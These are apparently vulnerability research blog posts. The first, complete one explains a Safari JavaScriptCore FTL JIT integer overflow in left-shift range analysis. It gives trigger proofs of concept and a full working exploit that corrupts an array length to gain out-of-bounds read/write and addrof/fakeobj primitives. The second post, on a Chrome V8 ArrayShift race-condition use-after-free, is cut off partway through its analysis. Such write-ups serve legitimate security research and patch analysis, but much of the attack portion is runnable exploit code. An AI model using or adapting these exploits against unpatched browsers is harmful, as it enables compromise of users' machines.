The vulnerability is an integer overflow while calculating the range of an arithmetic left shift operation, in the strength reduction phase of the FTL (found in WebKit/Source/JavaScriptCore/b3/B3ReduceStrength.cpp). Let’s take a look at the following code snippet from the above-mentioned file:

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp
template﹤typename T﹥
IntRange shl(int32_t shiftAmount)
{
    T newMin = static_cast﹤T﹥(m_min) ﹤﹤ static_cast﹤T﹥(shiftAmount);
    T newMax = static_cast﹤T﹥(m_max) ﹤﹤ static_cast﹤T﹥(shiftAmount);

    if ((newMin ﹥﹥ shiftAmount) != static_cast﹤T﹥(m_min))
        newMin = std::numeric_limits﹤T﹥::min();
    if ((newMax ﹥﹥ shiftAmount) != static_cast﹤T﹥(m_max))
        newMax = std::numeric_limits﹤T﹥::max();

    return IntRange(newMin, newMax);
}
				
			

The shl() function is responsible for calculating the range of the shift left operation. As seen in the previous section, the m_min and m_max are class variables that hold the minimum and maximum value for a “variable”. We are referring to it as a variable here for simplicity, but this range is associated with the b3 node on which this operation is being performed. This function is called when there is a left shift operation on the variable. It updates the range (the m_min, m_max pair) of the variable to reflect the state after the left shift.

The logic used is simple. It first shifts the m_min value, which is the minimum value that the variable can have, by the shift amount to find the new minimum (stored in the newMin variable in the above snippet). It does the same with m_max. The function then performs a check for overflow. It right shifts the value and checks that it is equal to the old value before the left shift was done on the range. Keep in mind that the right shift is sign extended. Suppose that the original minimum before the left shift was 0x7fff_fff0, then after a left shift by one it will overflow into 0xffff_ffe0 (this is the negative number, -32, in hex). However, when this is again right shifted by 1, in the check for overflow on line 8, it is sign extended so the resulting value becomes 0xfffffff0 (the number -16 in hex). This is not equal to the original value, so the compiler knows that it overflowed and takes the conservative approach of setting the lower bounds to INT_MIN.

Even though overflow checks are performed, they are not sufficient.

Consider the example of an initial range of the input operand being [0, 0x7ffffffe] and the shift value of 1. The function detects that the upper bound may overflow and assigns the upper bound of the result as INT_MAX. However, it never changes the lower bound as the lower bounds cannot overflow (0<<1 = 0). Thus the range of the result value is calculated as [0,INT_MAX] where INT_MAX = 0x7fffffff. However, when the left shift is performed on the upper bound (0x7ffffffe) of the input range, it may overflow, become negative, and more importantly become smaller than the lower bound (0) of the input range. To wit, 0x7ffffffe<<1 = 0xfffffffc = -4. Thus the actual value, which is in the range [-4, INT_MAX], can fall outside the range computed by the FTL JIT, which is [0, INT_MAX].

Trigger

Now that we see what the bug is, we try to trigger it. For triggering it, we know that we need to call the range analysis on the shl opcode, which will be done if we use the result of the shift in some other operation like add, sub, or mul, that calls rangeFor() on its operands. Additionally, the shift amount is required to be a constant value; otherwise the top range is selected. Given the above constraints, a simple trigger can be constructed as follows:

				
					function jit(idx, times){
    // Inform the compiler that this is a number
    // with range [0, 0x7fff_ffff]
    let id = idx & 0x7fffffff;   
    // Bug trigger - This will overflow if id is large enough that
    // FTL thinks range is [0, INT_MAX]
    // Actual range is [INT_MIN, INT_MAX]
    let b = id ﹤﹤ 2;              
    
    // The sub calls `rangeFor` on its operands 
    return b-1;                    
}

function main(){
    // JIT compile the function with legitimate value to train the compiler
    for (let k=0; k﹤1000000; k++) { jit(k %10); } 
}

main()
				
			

Although the above PoC shows how to trigger the calculation of an incorrect range, it does not yet do anything else. Let us dump the B3 IR for the jit() function and check. In the jsc shell, the b3 IR can be dumped using the command line argument --dumpB3GraphAtEachPhase=true while running the shell. The “Reduce Strength” phase is called a few times in the b3 pipeline, so let us dump the IR and compare the graph immediately after generating the IR and after the last call to this phase. The relevant parts of the graph are shown below.

The following is the graph immediately after generating the IR:

				
					b3      Int32 b@132 = BitAnd(b@63, $2147483647(b@131), D@30)
...
b3      Int32 b@145 = Shl(b@132, b@144, D@34)
...
b3      Int32 b@155 = Const32(-1, D@44)
b3      Int32 b@156 = CheckAdd(b@145:WarmAny, $-1(b@155):WarmAny, b@145:ColdAny, generator = 0x7f297b0d9440, earlyClobbered = [], lateClobbered = [], usedRegisters = [], ExitsSideways|Reads:Top, D@38)
				
			

The b@132 node holds the result of the bit wise and that we added to tell the compiler that our input is an integer. The b@145 node is the result of the shl operation and the b@156 node the result of the add operation. The original code in the PoC calls return b-1. Here the compiler simplifies the subtraction into an addition by the time we got to the b3 phase. The addition is represented as a CheckAdd , which means that overflow checks are conducted for this add operation during codegen.

Below is the graph after the last call to the Strength Reduction Phase:

				
					b3      Int32 b@132 = BitAnd(b@63, $2147483647(b@131), D@30)
b3      Int32 b@27 = Const32(2, D@33)
b3      Int32 b@145 = Shl(b@132, $2(b@27), D@34)
b3      Int32 b@155 = Const32(-1, D@44)
b3      Int32 b@26 = Add(b@145, $-1(b@155), D@38)
				
			

Most steps are the same except for the last line: the CheckAdd operation was reduced to a simple Add operation, which lacks overflow checks during codegen. This substitution should not have happened as this operation can theoretically overflow and hence should require overflow checks. Therefore, based on this IR we can see that the bug is triggered.

Due to the incorrect range computation in the shl() function, the CheckAdd node incorrectly determines that the subtraction operation cannot overflow and drops the overflow checks to convert the node into an ordinary Add node. This can lead to an integer overflow vulnerability in the generated code. This gives us a way to convert the range overflow into an actual integer overflow in the JIT-ed code. Next, we will see how this can be leveraged to get a controlled out-of-bounds read/write on the JavaScriptCore heap.

Exploitation

To exploit this bug, we first try to convert the possible integer overflow into an out-of-bounds read/write on a JavaScript Array. After we get an out-of-bounds read/write, we create the addrof and fakeobj primitives. We need some knowledge of how objects are represented in JavaScriptCore. However, this has already been covered in detail by many others, so we will skip it for this post. If you are unfamiliar with object representation in JSC, we urge you to check out LiveOverflow’s excellent blogs on WebKit and the “Attacking JavaScript Engines” Phrack article by Samuel Groß.

We start by covering some concepts on the DFG.

DFG Relationships

In this section, we dive deeper into how DFG infers range information for nodes. It is not necessary to understand the bug, but it allows for a deeper understanding of the concept. If you do not feel like diving too deep, then feel free to skip to the next section. You will still be able to understand the rest of the post.

As mentioned before, JSC has 3 JIT compilers: the baseline JIT, the DFG JIT, and the FTL JIT. We saw that this vulnerability lies in the FTL JIT code and occurs after the DFG optimizations are run. Since the incorrect range is only used to reduce the “checked” version of Add, Sub and Mul nodes and never used anywhere else, there is no way of eliminating a bounds check in this phase. Thus it is necessary to look into the DFG IR phases, which take place prior to the code being lowered to B3 IR, for ways to remove bounds checks.

An interesting phase for the DFG IR is the Integer Range Optimization Phase (WebKit/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp), which attempts to optimize certain instructions based on the range of their input operands. Essentially, this phase is only executed in the FTL compiler and not in the DFG compiler, but since it operates on the DFG IR, we refer to this as a DFG phase. This phase can be considered analogous to the “Typer phase” in Turbofan, the Chrome JIT compiler, or the “Range Analysis Phase” in IonMonkey, the Firefox JIT compiler. The Integer Range Optimization Phase is fairly complex overall, therefore only details relevant to this exploit are discussed here.

In the Integer Range Optimization phase, the range of a variety of nodes are computed in terms of Relationship class objects. To clarify how the Relationship objects work, let @a, @b, and @c be nodes in the IR. If @a is less than @b, it is represented in the Relationship object as @a < @b + 0. Now, this phase may encounter another operation on the node @a, which results in the relationship @a > @c + 5. The phase keeps track of all such relationships, and the final relationship is computed by a logical and of all the intermediate relationships. Thus, in the above case, the final result would be @a > @c + 5 && @a < @b + 0.

In the case of the CheckInBounds node, if the relationship of the index is greater than zero and less than the length, then the CheckInBounds node is eliminated. The following snippet highlights this.

				
					// File Name: Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp
// WebKit svn changeset: 266775

case CheckInBounds: {
    auto iter = m_relationships.find(node-﹥child1().node());
    if (iter == m_relationships.end())
        break;

    bool nonNegative = false;
    bool lessThanLength = false;
    for (Relationship relationship : iter-﹥value) {
        if (relationship.minValueOfLeft() ﹥= 0)
            nonNegative = true;

        if (relationship.right() == node-﹥child2().node()) {
            if (relationship.kind() == Relationship::Equal
                && relationship.offset() ﹤ 0)
                lessThanLength = true;

            if (relationship.kind() == Relationship::LessThan
                && relationship.offset() ﹤= 0)
                lessThanLength = true;
        }
    }

    if (DFGIntegerRangeOptimizationPhaseInternal::verbose)
        dataLogLn("CheckInBounds ", node, " has: ", nonNegative, " ", lessThanLength);

    if (nonNegative && lessThanLength) {
        executeNode(block-﹥at(nodeIndex));
        // We just need to make sure we are a value-producing node.
        node-﹥convertToIdentityOn(node-﹥child1().node());
        changed = true;
    }
    break;
}
				
			

The CompareLess node sets the relationship to @a < @b + 0 where @a is the first operand of the compare operation and @b is the second operand. If the second operand is array.length, where array is any JavaScript array, then this will set the value of the @a node to be less than the length of the array. The following snippet shows the corresponding code in the phase.

				
					// File Name: Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp
// WebKit svn changeset: 266775

case CompareLess:
    relationshipForTrue = Relationship::safeCreate(
        compare-﹥child1().node(), compare-﹥child2().node(),
        Relationship::LessThan, 0);
    break;
				
			

A similar case happens for the CompareGreater node, which can be used to satisfy the second condition for removing the check bounds node, namely if the value is greater than zero.

Our vulnerability is basically an addition/subtraction operation without overflow checks. Therefore, it would be interesting to take a look at how the range for the ArithAdd DFG node (which will be lowered to CheckAdd/CheckSub nodes when DFG is lowered to B3 IR) is calculated. This is far more complicated than the previous cases, so some relevant parts and code are discussed.

The following code shows the initial logic of computing the ranges for the ArithAdd node.

				
					// File Name: Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp
// WebKit svn changeset: 266775

// Handle add: @value + constant.
if (!node-﹥child2()-﹥isInt32Constant())
    break;

int offset = node-﹥child2()-﹥asInt32();

// We add a relationship for @add == @value + constant, and then we copy the
// relationships for @value. This gives us a one-deep view of @value's existing
// relationships, which matches the one-deep search in setRelationship().

setRelationship(
    Relationship(node, node-﹥child1().node(), Relationship::Equal, offset));
				
			

As the comment says, if the statement is something like let var2 = var1 + 4, then the Relationship for var2 is initially set as @var2 = @var1 + 4. Further down, the Relationship for var1 is used to calculate the precise range for var2 (the result of the ArithAdd operation). Thus, with the code in the JavaScript snippet highlighted below, the range of the add variable, which is the result of the add operation, is determined as (4, INT_MAX). Due to the CompareGreater node, DFG already knows that num is in the range (0, INT_MAX) and therefore, after the add operations, it becomes (4, INT_MAX).

				
					function jit(num){
    if (num ﹥ 0){
        let add = num + 4;
        return add;
    }
}
				
			

Similarly, an upper range can be enforced by introducing a CompareLess node that compares with an array length as shown below.

				
					function jit(num){
    let array = [1,2,3,4,5,6,7,8,9,10];
    if (num ﹥ 0){
        let add = num + 4;
        if (add ﹤ array.length){
        
[1]
            return array[add];
        }
    }
}
				
			

Thus in this code, the range of the add variable at [1] is (0, array.length) which is in bounds of the array and thus the bounds check is removed.

Abusing DFG to eliminate the Bounds Check

In summary, if we have the following code:

				
					function jit(num){
    num = num | 0;
    let array = [1,2,3,4,5,6,7,8,9,10];
    if (num ﹥ 0){                          // [1]
        let add = num + 4;                  // [2]
        if (add ﹤ array.length){           // [3]
            return array[add];              // [4]
        }
    }
}
				
			

At [2], DFG knows that the variable add is greater than 0 due to it passing the check at [1]. Similarly, at [4] it knows that the add variable is less than array.length due to it passing the check at [3]. Putting both of these together, DFG can see that the addvariable is greater than zero and less than array.length when the execution reaches [4], where the element with index add is retrieved from the array. Thus DFG can safely say that the range of add at [4] is [4, array.length]; it removes the bounds check as it assumes that the check will always pass. Now, what would happen if an integer overflow happens on [2], where add is calculated as num + 4? DFG relies on the fact that all these arithmetic operations are checked for an overflow and if an overflow happens, the code will bail out of the JIT-compiled code. This is the assumption that we want to break.

Now that the bounds check has successfully been removed by DFG, triggering the bug will be a whole lot easier. Let’s dig in!

FTL will convert the DFG IR into the B3 representation and perform various optimizations. One of the early optimizations is strength reduction, which performs a variety of optimizations like constant folding, simple common sub-expression elimination, simplifying nodes to a lower form (eg – CheckSub -> Sub), etc. The code in the following snippet shows a simple and unstable proof of concept for triggering the bug.

				
					function jit(idx){
    // The array on which we will do the oob access
    let a = [1,2,3,4,5,6,7,8,9,0,12,3,4,5,6,7,8,9,23,234,423,234,234,234]; 

[1]
    // Inform the compiler that this is a number 
    // with range [0, 0x7fff_ffff]
    let id = idx & 0x7fffffff;  
    
[2]
    // Bug trigger - This will overflow if id is large enough. 
    // FTL thinks range is [0, INT_MAX], Actual range is [INT_MIN, INT_MAX]
    let b = id ﹤﹤ 2;   
    
[3]
    // Tell DFG IR that b is less than array length. 
    // According to DFG, b is in [INT_MIN, array.length)
    if (b ﹤ a.length){            
    
[4]
        // On exploit run - convert the overflowed value 
        // into a positive value. 
        let c = b - 0x7fffffff;  
        
[5]
        // force jit else dfg will update with osrExit
        if (c ﹤ 0) c = 1;   
        
[6]
        // Tell DFG that 'c' ﹥ 0. It already knows c is less than array.length. 
        if (c ﹥ 0){          
        
[7]
            // DFG thinks that c is inbounds, range = [0, array.length). 
            // Thus it removes bounds check and this is oob
            return a[ c ];          
        }
        else{
            return [ c ,1234]
        }
    }
    else{
        return 0x1337
    }
}

function main(){

    // JIT compile the function with legitimate value 
    // to train the compiler
    for (let k=0; k﹤1000000; k++){jit(k %10);}  
    
    // Trigger the bug by passing the argument as 0x7fff_ffff 
    print(jit(2147483647))                       
}
main()
				
			

The above PoC is just a modification of what was discussed at the start of this section. As before, there is no CheckInBounds node for the array load at [7].

Note that the DFG compiler thinks that the code at [4], b - 0x7ffffff, will never overflow because DFG assumes that this operation is checked, and thus an overflow would cause a bail out from the JIT code.

In B3, the range of b at [2] is incorrectly calculated as [0, 0x7fff_ffff] (due to the integer overflow bug we discussed earlier). This leads to the incorrect lowering of c at [4] from CheckSub to Sub as B3 now assumes that the sub-operation never overflows. This breaks the assumptions made by DFG to remove the bounds check because it is possible for b - 0x7ffffff to overflow and attain a large positive value. When running the exploit, the value of b becomes0x7fff_ffff << 2 = 0xffff_fffc (it overflows and gets converted to 32-bit). This value is -4 in hex, and when -0x7fff_ffff is added to it at [4], a signed overflow happens: -4 - 0x7fff_ffff = 0x7ffffffd. Thus the value of c (which is already verified by DFG to be less than the array length) becomes more than array.length. This crashes JSC when it tries to use this huge value to do an out-of-bounds read.

On a side note, [5] (if (c < 0) c = 1) forces the JIT compilation of [7] even if the bug is not triggered, as otherwise [7] will never be executed (it is unreachable with normal inputs) when the main function is getting JIT-compiled.

Though this PoC crashes JSC, it is essentially an uncontrolled value and might not even crash as it is possible that the page that it is trying to read is mapped with read permissions. Thus, unless we want to spray gigabytes of memory to exploit the out-of-bounds read, we need to control this value for more stability and exploitability.

Controlling the Out-of-Bounds Read/Write

After some tests, we found that single decrements to the index do not break the assumptions made by the DFG optimizer. Hence to better control the out-of-bounds index, it can be single-decremented a desired number of times before the length check. The final version of the jit() function that provides full control over the out-of-bounds index, as well as functions in the Safari browser, is highlighted in the following PoC.

				
					function jit(idx, times,val){
    let a = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
    let big = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
    let new_ary = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
    let tmp = 13.37;
    let id = idx & 0x7fffffff;

[1]
    let b = id ﹤﹤ 2;
    
[2]
    if (b ﹤ a.length){ 
    
[3]
        let c = b - 0x7fffffff;
        
        // force jit else dfg will update with osrExit
        if (c ﹤ 0) c = 1; 
    
[4]
        // Single decerement the value of c
        while(c ﹥ 1){
            if(times ﹤= 0){
                break
            }else{
                c -= 1;
                times -= 1;
            }
        }
        
[5]
        if (c ﹥ 0){
[6]
            tmp = a[ c ];

[7]
            a[ c ] = val;
            return [big, tmp, new_ary];
        }
    }
}

function main(){

[8]
    for (let k=0; k﹤1000000; k++){jit(k %10,1,1.1);}
    let target_length = 7.82252528543333e-310;         // 0x900000008000

[9]
    print(jit(2147483647, 0x7ffffff0,target_length));
}
main()
				
			

The function jit() is JIT-compiled at [8]. There is no CheckInBounds for the array load at [6] for the reasons discussed above. The jit() call at [9] triggers the bug by passing a value of 0x7fffffff to the jitted function. When this is passed, the value of b at [1] becomes -4 (result of 0x7fffffff << 2 wrapped to 32 bits becomes 0xfffffffc). This is obviously less than a.length (b is negative, and it is a signed comparison) so it passes the check at [2]. The subtract operation at [3] does not check for overflow and results in c obtaining a large positive value (0x7ffffffd) due to an integer overflow. This can be further reduced to a controlled value by doing single decrements, which the while loop at [4] does. At the end of the loop, c contains a value of 0xd. Now this is greater than zero, so it passes the check at [5] and ends up in a controlled out-of-bounds read at [6] and an out-of-bounds write at [7]. This ends up corrupting the length field of the array that lies immediately after the array a (the big array) and sets its length and capacity to a huge value. This results in the big array being able to read/write out-of-bounds values over a large extent on the heap.

Note that in the above PoC, we are writing out of bounds to corrupt the length field of the big array. We are writing an 8-byte double value, so we write 0x9000_00008000 encoded as a double. The lower 4 bytes of this value (i.e. 0x8000) signify the length, and the upper 4 bytes (0x9000) is the capacity we are setting.

In order to control the OOB read, an attacker can just change the value of the times argument for the jit() function at [9]. Let us now leverage this to gain the addrof and fakeobj primitives!

The addrof and fakeobj Primitives

The addrof primitive allows us to get an object’s address, while the fakeobj primitive gives us the ability to load a crafted fake object. Refer to the Phrack article by Samuel Groß for more details.

The addrof primitive can be achieved by reading out of bounds from an ArrayWithDouble array to read an object pointer. The fakeobj primitive can be achieved by writing the address as a double into an ArrayWithContiguous array using an out-of-bounds read. The following leverages the bug we see to attain this.

The out-of-bounds write is used to corrupt the length and capacity of the big array which is adjacent to the array a. This provides an ability to do a clean out-of-bounds read/write into the new_ary array from the big array. After the length and capacity of the big array are corrupted, both the big and new_ary arrays are returned to the calling function.

Let the arrays returned from the jit() function be called oob_rw_ary and confusion_ary. Initially, both of them are of the ArrayWithDouble type. However, for the confusion_ary  array, we force a structure transition to the ArrayWithContiguous type.

				
					function pwn(){
log("started!")

    // optimize the buggy function
    for (let k=0; k﹤1000000; k++){jit_bug(k %10,1,1.1);}

    let oob_rw_ary = undefined;
    let target_length = 7.82252528543333e-310; // 0x900000008000
    let target_real_len = 0x8000
    let confusion_ary = undefined;

    // Trigger the oob write to edit the length of an array
    let res = jit_bug(2147483647, 0x7ffffff0,target_length)
    oob_rw_ary = res[0];
    confusion_ary = res[2];
    
    // Convert the float array to a jsValue array
    confusion_ary[1] = {}; 
    log(hex(f2i(res[1])) + " length -﹥ "+oob_rw_ary.length);

    if(oob_rw_ary.length != target_real_len){
        log("[-] exploit failed -&gt; bad array length; maybe not vulnerable?")
        return 1;
    }

    // index of confusion_ary[1]
    let confusion_idx = 15; 
}
				
			

At this point, the necessary setup for the addrof and fakeobj primitives is done. Since the oob_rw_ary array can go out of bounds to the confusion_ary array, it is possible to write object pointers as doubles into it.

The addrof primitive is achieved by writing an object to the confusion_ary array and then reading it out-of-bounds as a double from the oob_rw_ary array.

Similarly, the fakeobj primitive is implemented by writing an object pointer out-of-bounds as a double to the oob_rw_ary array and then reading it as an object from confusion_ary.

				
					
    function addrof(obj){
        let addr = undefined;
        confusion_ary[1] = obj;
        addr = f2i(oob_rw_ary[confusion_idx]);
        log("[addrof] -﹥ "+hex(addr));
        return addr;
    }

    function fakeobj(addr){
        let obj = undefined;
        log("[fakeobj] getting obj from -﹥ "+hex(addr));
        oob_rw_ary[confusion_idx] = i2f(addr)
        obj = confusion_ary[1];
        confusion_ary[1] = 0.0; // clear the cell
        log("[fakeobj] fakeobj ok");
        return obj
    }
				
			

And there we go! We have successfully converted the bug into a stable addrof and fakeobj primitives!

All together

Let us put all this together to see the full PoC that achieves the addrof and fakeobj from the initial bug:

				
					var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var u8 = new Uint8Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;
let switch_var = 0;
function i2f(i) {
    u32[0] = i%BASE;
    u32[1] = i/BASE;
    return f64[0];
}

function f2i(f) {
    f64[0] = f;
    return u32[0] + BASE*u32[1];
}

function unbox_double(d) {
    f64[0] = d;
    u8[6] -= 1;
    return f64[0];
}

function hex(x) {
    if (x ﹤ 0)
        return `-${hex(-x)}`;
    return `0x${x.toString(16)}`;
}

function log(data){
    print("[~] DEBUG [~] " + data)
}


function pwn(){
	log("started!")

    /* The function that will trigger the overflow to corrupt the length of the following array */

    function jit_bug(idx, times,val){
        let a = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
        let big = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
        let new_ary = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
        let tmp = 13.37;
        let id = idx & 0x7fffffff;
        let b = id ﹤﹤ 2;
        if (b ﹤ a.length){ 
            let c = b - 0x7fffffff;
            if (c ﹤ 0) c = 1; // force jit else dfg will update with osrExit
            while(c ﹥ 1){
                if(times == 0){
                    break
                }else{
                    c -= 1;
                    times -= 1;
                }
            }
            if (c ﹥ 0){
                tmp = a[ c ];
                a[ c ] = val;
                return [big, tmp, new_ary]
            }
        }
    }

    for (let k=0; k﹤1000000; k++){jit_bug(k %10,1,1.1);} // optimize the buggy function

    let oob_rw_ary = undefined;
    let target_length = 7.82252528543333e-310; // 0x900000008000
    let target_real_len = 0x8000
    let confusion_ary = undefined;

    // Trigger the oob write to edit the length of an array
    let res = jit_bug(2147483647, 0x7ffffff0,target_length)
    oob_rw_ary = res[0];
    confusion_ary = res[2];
    confusion_ary[1] = {}; // Convert the float array to a jsValue array
    log(hex(f2i(res[1])) + " length -﹥ "+oob_rw_ary.length);

    if(oob_rw_ary.length != target_real_len){
        log("[-] exploit failed -﹥ bad array length; maybe not vulnerable?")
        return 1;
    }

    let confusion_idx = 15; // index of confusion_ary[1]

    function addrof(obj){
        let addr = undefined;
        confusion_ary[1] = obj;
        addr = f2i(oob_rw_ary[confusion_idx]);
        log("[addrof] -﹥ "+hex(addr));
        return addr;
    }

    function fakeobj(addr){
        let obj = undefined;
        log("[fakeobj] getting obj from -﹥ "+hex(addr));
        oob_rw_ary[confusion_idx] = i2f(addr)
        obj = confusion_ary[1];
        confusion_ary[1] = 0.0; // clear the cell
        log("[fakeobj] fakeobj ok");
        return obj
    }

    /// Verify that addrof works
    let obj = {p1: 0x1337};
    // print the actual address of the object
    log(describe(obj));
    // Leak the address of the object
    log(hex(addrof(obj)));

    /// Verify that the fakeobj works. This will crash the engine
    log(describe(fakeobj(0x41414141)));
}
pwn();
				
			

This will leak the address of the obj object with addrof() and try to create a fake object on the address 0x41414141 which will end up crashing the engine. This should work on any version of a vulnerable JSC build.

Conclusion

We discussed a vulnerability we found in 2020 in the FTL JIT compiler, where an incorrect range computation led to an integer overflow. We saw how we could convert this integer overflow into a stable out-of-bounds read/write on the JavaScriptCore heap and use that to create the addrof and fakeobj primitives. These primitives allow a renderer code execution exploit on Intel Macs.

This bug was patched in the May 2021 update to Safari. The patch for this vulnerability is simple: if an overflow occurs, then the upper and lower bounds are set to the Max and Min value of that type respectively.

The vulnerability patch

We hope you enjoyed reading this. If you are hungry for more, make sure to check our other blog posts.

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Shifting boundaries: Exploiting an Integer Overflow in Apple Safari appeared first on Exodus Intelligence.

Google Chrome V8 ArrayShift Race Condition Remote Code Execution

16 May 2023 at 22:36

By Javier Jimenez

Overview

This post describes a method of exploiting a race condition in the V8 JavaScript engine, version 9.1.269.33. The vulnerability affects the following versions of Chrome and Edge:

  • Google Chrome versions between 90.0.4430.0 and 91.0.4472.100.
  • Microsoft Edge versions between 90.0.818.39 and 91.0.864.41.

The vulnerability occurs when one of the TurboFan jobs generates a handle to an object that is being modified at the same time by the ArrayShift built-in, resulting in a use-after-free (UaF) vulnerability. Unlike traditional UaFs, this vulnerability occurs within garbage-collected memory (UaF-gc). The bug lies within the ArrayShift built-in, as it lacks the necessary checks to prevent modifications on objects while other TurboFan jobs are running.

This post assumes the reader is familiar with all the elementary concepts needed to understand V8 internals and general exploitation. The references section contains links to blogs and documentation that describe prerequisite concepts such as TurboFan, Generational Garbage Collection, and V8 JavaScript Objects’ in-memory representation.

Table of Contents

The Vulnerability

When the ArrayShift built-in is called on an array object via Array.prototype.shift(), the length and starting address of the array may be changed while a compilation and optimization (TurboFan) job in the Inlining phase executes concurrently. When TurboFan reduces an element access of this array in the form of array[0], the function ReduceElementLoadFromHeapConstant() is executed on a different thread. This element access points to the address of the array being shifted via the ArrayShift built-in. If the ReduceElementLoadFromHeapConstant() function runs just before the shift operation is performed, it results in a dangling pointer. This is because Array.prototype.shift()frees” the object to which the compilation job still “holds” a reference. Both “free” and “hold” are not 100% accurate terms in this garbage collection context, but they serve the purpose of explaining the vulnerability conceptually. Later we describe these actions more accurately as “creating a filler object” and “creating a handler” respectively.

ReduceElementLoadFromHeapConstant() is a function that is called when TurboFan tries to optimize code that loads a value from the heap, such as array[0]. Below is an example of such code:

				
					function main() {
  let arr = new Array(500).fill(1.1);

  function load_elem() {
    let value = arr[0];
    for (let v19 = 0; v19 ﹤ 1500; v19++) {}
  }

  for (let i = 0; i ﹤ 500; i++) {
    load_elem();
  }
}
main();

				
			

By running the code above in the d8 shell with the command ./d8 --trace-turbo-reduction we observe, that the JSNativeContextSpecialization optimization, to which ReduceElementLoadFromHeapConstant() function belongs to, kicks in on node #27 by taking node #57 as its first input. Node #57  is the node for the array arr:

				
					$ ./d8 --trace-opt --trace-turbo-reduction /tmp/loadaddone.js
[TRUNCATED]
- Replacement of #13: JSLoadContext[0, 2, 1](3, 7) with #57: HeapConstant[0x234a0814848d ﹤JSArray[500]﹥] by reducer JSContextSpecialization
- Replacement of #27: JSLoadProperty[sloppy, FeedbackSource(#0)](57, 23, 4, 3, 28, 24, 22) with #64: CheckFloat64Hole[allow-return-hole, FeedbackSource(INVALID)](63, 63, 22) by reducer JSNativeContextSpecialization
[TRUNCATED]

				
			

Therefore, executing the Array.prototype.shift() method on the same array, arr, during the execution of the aforementioned TurboFan job may trigger the vulnerability. Since this is a race condition, the vulnerability may not trigger reliably. The reliability depends on the resources available for the V8 engine to use.

The following is a minimal JavaScript test case that triggers a debug check on a debug build of d8:

				
					function main() {
  let arr = new Array(500).fill(1.1);

  function bug() {

// [1]

    let a = arr[0];

// [2]
    
    arr.shift();
    for (let v19 = 0; v19 &lt; 1500; v19++) {}
  }

// [3]

  for (let i = 0; i &lt; 500; i++) {
    bug();
  }
}

main();
				
			

The loop at [3] triggers the compilation of the bug() function since it’s a “hot” function. This starts a concurrent compilation job for the function where [1] will force a call to ReduceElementLoadFromHeapConstant(), to reduce the load at index 0 for a constant value. While TurboFan is running on a different thread, the main thread executes the shift operation on the same array [2], modifying it. However, this minimized test case does not trigger anything further than an assertion (via DCHECK) on debug builds. Although the test case executes without fault on a release build, it is sufficient to understand the rest of the analysis.

The following numbered steps show the order of execution of code that results in the use-after-free. The end result, at step 8, is the TurboFan thread pointing to a freed object:

Steps in use-after-free
Triggering the race condition

In order to achieve a dangling pointer, let’s figure out how each thread holds a reference in V8’s code.

Reference from the TurboFan Thread

Once the TurboFan job is fired, the following code will get executed:

				
					// src/compiler/js-native-context-specialization.cc 

Reduction JSNativeContextSpecialization::ReduceElementLoadFromHeapConstant(
    Node* node, Node* key, AccessMode access_mode,
    KeyedAccessLoadMode load_mode) {

[TRUNCATED]

  HeapObjectMatcher mreceiver(receiver);
  HeapObjectRef receiver_ref = mreceiver.Ref(broker());

[TRUNCATED]

[1]

  NumberMatcher mkey(key);
  if (mkey.IsInteger() &&;
      mkey.IsInRange(0.0, static_cast(JSObject::kMaxElementIndex))) {
    STATIC_ASSERT(JSObject::kMaxElementIndex &lt;= kMaxUInt32);
    const uint32_t index = static_cast(mkey.ResolvedValue());
    base::Optional element;

    if (receiver_ref.IsJSObject()) {

[2]

      element = receiver_ref.AsJSObject().GetOwnConstantElement(index);

[TRUNCATED]  
				
			

Since this reduction is done via ReducePropertyAccess() there is an initial check at [1] to know whether the access to be reduced is actually in the form of an array index access and whether the receiver is a JavaScript object. After that is verified, the GetOwnConstantElement() method is called on the receiver object at [2] to retrieve a constant element from the calculated index.

				
					// src/compiler/js-heap-broker.cc

base::Optional﹤ObjectRef﹥ JSObjectRef::GetOwnConstantElement(
    uint32_t index, SerializationPolicy policy) const {

[3]

  if (data_-&gt;should_access_heap() || FLAG_turbo_direct_heap_access) {

[TRUNCATED]

[4]

    base::Optional﹤FixedArrayBaseRef﹥ maybe_elements_ref = elements();

[TRUNCATED]

				
			

The code at [3] verifies whether the current caller should access the heap. The verification passes since the reduction is for loading an element from the heap. The flag FLAG_turbo_direct_heap_access is enabled by default. Then, at [4] the elements() method is called with the intention of obtaining a reference to the elements of the receiver object (the array). The  elements() method is shown below:

				
					// src/compiler/js-heap-broker.cc
base::Optional JSObjectRef::elements() const {
  if (data_-&gt;should_access_heap()) {

[5]

    return FixedArrayBaseRef(
        broker(), broker()-&gt;CanonicalPersistentHandle(object()-&gt;elements()));
  }

[TRUNCATED]

// File: src/objects/js-objects-inl.h
DEF_GETTER(JSObject, elements, FixedArrayBase) {
  return TaggedField::load(cage_base, *this);
}
				
			

Further down the call stack, elements() will call CanonicalPersistentHandle() with a reference to the elements of the receiver object, denoted by object()->elements() at [5]. This elements() method call is different than the previous. This one directly accesses the heap and returns the pointer within the V8 heap. It accesses the same pointer object in memory as the ArrayShift built-in.

Finally, CanonicalPersistentHandle() will create a Handle reference. Handles in V8 are objects that are exposed to the JavaScript environment. The most notable property is that they are tracked by the garbage collector.

				
					// File: src/compiler/js-heap-broker.h

  template ﹤typename T﹥
